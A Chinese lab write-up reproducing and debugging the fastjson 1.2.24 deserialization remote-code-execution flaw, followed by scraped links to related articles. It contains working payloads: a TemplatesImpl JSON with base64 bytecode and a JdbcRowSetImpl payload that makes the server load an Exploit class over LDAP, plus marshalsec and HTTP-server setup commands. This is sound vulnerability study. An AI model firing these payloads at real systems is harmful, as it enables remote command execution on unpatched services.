fastjson 1.2.24反序列化漏洞复现

先写一个正常的使用 fastjson的web服务

我们使用 springboot创建

主要是pom.xml 里面要添加fastjson

fastjson要求小于等于 1.2.24

    <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>

简单写个路由解析

controller.Login.java

@Controller
public class Login {
@RequestMapping(value = "/fastjson", method = RequestMethod.POST)
@ResponseBody
public JSONObject test(@RequestBody String data) {
JSONObject obj = JSON.parseObject(data);
// JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); // 当使用 TemplatesImpl的时候用这个
JSONObject result = new JSONObject();
result.put("code", 200);
result.put("message", "success");
result.put("data", "Hello " + obj.get("name"));
return result;
}
}

model.User.java

public class User {
public String name;
public int age;
public String id_card; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} public String getId_card() {
return id_card;
} public void setId_card(String id_card) {
this.id_card = id_card;
} }

controller.Login 是一个控制器是一个路由用于解析请求

model.User 是一个用户类 包含一些属性用于fastjson与数据对应解析

请求

这里发送的数据是这样的

{
"@type": "com.example.demo.model.User",
"name": "Recar",
"age": 22,
"id_card": "12334567"
}

@type 是用于fastjson找到数据对应的类 下面的是User的属性值

我们这里可以看到成功解析了数据

复现及分析

基于TemplatesImpl的复现与分析

因为poc用到了 私有属性 fastjson默认不会解析私有属性 需要开启这个 Feature.SupportNonPublicField

payload

{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

type是想要序列化类的路径

_bytecodes 最后调用getOutputProperties时会进行创建的Exploit类的class 二进制base64编码

发poc后断点调试

点击第一个下一步箭头跟进 (F8) F7那个是跟入函数 我们跟入函数

可以直接快进到语法解析

语法解析的token

JavaBeanInfo build方法

getDeclaredFields 获得某个类的所有声明的字段,即包括public、private和proteced,但是不包括父类的申明字段

getDeclaredFields 获取到的属性值

程序会 创建了一个 数组存储后续将要处理的目标类的特定setter方法及特定条件的getter方法

调用getter条件就是如下图

进入调用get的条件

 String methodName = method.getName();
if (
methodName.length() >= 4 && // 方法名长度要大于等于4
!Modifier.isStatic(method.getModifiers()) && // 不是静态方法
methodName.startsWith("get") && // 以get字符串开头
Character.isUpperCase(methodName.charAt(3)) && // 第4个字符要是大写字母
method.getParameterTypes().length == 0 && // 方法不能有参数传入 (Collection.class.isAssignableFrom(method.getReturnType()) ||
Map.class.isAssignableFrom(method.getReturnType()) ||
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()))
// 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

继续走 走到 getOutputProperties 符合get的所有要求

并且将getOutputProperties 加入到 后面会进行调用的列表里

可以看到列表里有 这个方法

后面反射创建实例后调用方法设置 _bytecodes

然后调用 getOutputProperties 我们跟进

要求_name不能为空 空的话直接返回了

_bytecodes 不能为空

然后继续

会调用 _tfacroty的getExternalExtensionsMap()方法 所以tfacroty要设置个{}

这里可以看到 tfacroty 不是一个空的{}

tfactory 为啥不是空的 是fastjson在这里对空的对象解析后会赋值应有的对象 在 TemplatesImpl里可以看到 private transient TransformerFactoryImpl _tfactory = null;

并且跟进后可以看到有 getExternalExtensionsMap方法

_class[_transletIndex] 就是我们的要执行的类

newInstance 会调用构造函数 类似new newInstance只能调用无参数的构造函数

下划线是怎么回事去掉的

在 JavaBeanDeserializer中会把set get方法的下划线去掉

poc中的 _outputProperties 去掉下划线也可以用

其他属性字段是不行的

基于jndi ldap方法的攻击链

因为我本机的jdk不满足 rmi的条件 于是使用的ldap的方式来复现

ldap的方式是使用外部加载class的形式

payload

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

使用 marshalsec 构建 ldap服务

java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)

git 先下载下来

git clone git@github.com:mbechler/marshalsec.git

mvn 编译成jar包 (mvn最好配置好国内的比如阿里的maven源)

mvn clean package -DskipTests

最后target目录下输出 marshalsec-0.0.3-SNAPSHOT-all.jar

启动 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Exploit

这里是启动了个ldap 然后我们需要构建个简单的web服务返回exploit

编写Exploit

执行命令运行计算器

public class Exploit {
public Exploit (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

先直接运行 弹出计算器 在out目录下看到 Exploit.class

启动简单web服务

简单实用python创建

这个是python2的命令

python -m SimpleHTTPServer 8081

这个命令要在 Exploit.class 目录下执行 端口与上面marshalsec执行命令的端口一致

postman发送请求

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

断点调试

解析上传的json

这次会被调用满足条件的是 setAutoCommit setDataSourceName

调用set方法的条件是

方法名长度大于4且以set开头,且第四个字母要是大写

非静态方法

返回类型为void或当前类

参数个数为1个

然后会设置dataSourceName值

反射调用setDataSourceNmae

反射调用setAutoCommit

触发ldap里的lookup方法 并且里面的参数就是我们设置的远程地址 就上面开源的那个工具里很多可以利用的反序列化链

调用链

可以清晰的看到从 testVuln 接口进入 parse解析json对象后解析字段 设置字段值

使用invoke动态调用set方法

可以看到 setAutoCommit的方法调用 这里触发漏洞

然后是对expoit类的实例化

远程调用这个expolit的类来实现执行

最后执行exec的方法

总结

  1. 基于TemplatesImpl的利用链

    使用_outputProperties方法可以满足get的条件实现自动调用getOutputProperties 方法并且会使用到私有成员变量 _bytecodes 他又是可控的

  2. rmi 或者ldap方式

    是使用基于远程加载类的方式 jndi有个setAutoCommit方式设置为True后会自动调用setValue方法

    使用特定的set方法来自动调用 和可控的参数传入

  3. java会对@type的类型通过 javaBeanInfo 来获取所有的属性和方法

    通过特定条件过滤set和get方法 满足的进行调用 再与可控参数 可控的 @type类 实现命令执行

fastjson反序列化漏洞历史CVE学习整理的更多相关文章

  1. Fastjson反序列化漏洞复现

    Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...

  2. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  3. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  4. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  5. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  6. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  7. Fastjson反序列化漏洞基础

    Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...

  8. .NET高级代码审计(第三课)Fastjson反序列化漏洞

    0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...

  9. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

随机推荐

  1. HCNP Routing&Switching之端口安全

    前文我们了解了二层MAC安全相关话题和配置,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/16618201.html:今天我们来聊一聊mac安全的综合解决方案端 ...

  2. 没写完。【java】IDEA-调教界面、设置语言、插件的使用

    步骤: 1.官方网站:https://www.jetbrains.com/idea/ (zip)版本:https://download.jetbrains.com.cn/idea/ideaIC-202 ...

  3. Currtid 函数与性能问题

    对于Oracle ,一条tuple 的 rowid正常是不会变化的(引发row movement的操作除外,如:跨分区迁移update,表收缩),因此,应用设计上可以方便的使用rowid,加快访问速度 ...

  4. 手把手教你用Java获取IP归属地

    前几个月微信公众号上线了IP归属地的功能,后续知乎.抖音等平台纷纷添加了该功能.如果是国内的用户精确到省份,国外用户精确到国家.本文就使用Java实现获取IP归属地. ! 主要讲解几个步骤: Java ...

  5. TDengine概述以及架构模型

    TDengine TDengine是一个高效的存储.查询.分析时序大数据的平台,专为物联网.车联网.工业互联网.运维监测等优化而设计. 您可以像使用关系型数据库MySQL一样来使用它. TDengin ...

  6. 内存溢出(OOM)分析

    当JVM内存不足时,会抛出java.lang.OutOfMemoryError.   主要的OOM类型右: Java heap space:堆空间不足 GC overhead limit exceed ...

  7. 【项目实战】CNN手写识别复杂模型的构造

    感谢视频教程:https://www.bilibili.com/video/BV1Y7411d7Ys?p=11 这里开一篇新博客不仅仅是因为教程视频单独出了1p,也是因为这是一种代码编写的套路,特在此 ...

  8. ssh访问控制,阻断异常IP,防止暴力破解

    文章转载自:https://mp.weixin.qq.com/s/oktVy09zJAAH_MMKdXjtIA 由于业务需要将Linux服务器映射到公网访问,SSH 端口已经修改,但还是发现有很多IP ...

  9. 使用Gitlab的CI/CD功能自动化推送docker镜像到Nexus仓库出现的问题

    在服务器中可以直接使用命令行登录,推送docker镜像等 但是在使用Gitlab的CI/CD功能中,gitlab-ci.yml文件执行过程中出现如下错误: 原因分析: 服务器上之前使用命令行登陆过Ne ...

  10. DirectX 使用 Vortice 从零开始控制台创建 Direct2D1 窗口修改颜色

    本文将告诉大家如何使用 Vortice 底层库从零开始,从一个控制台项目,开始搭建一个最简单的使用 Direct2D1 的 DirectX 应用.本文属于入门级博客,期望本文能让大家了解 Vortic ...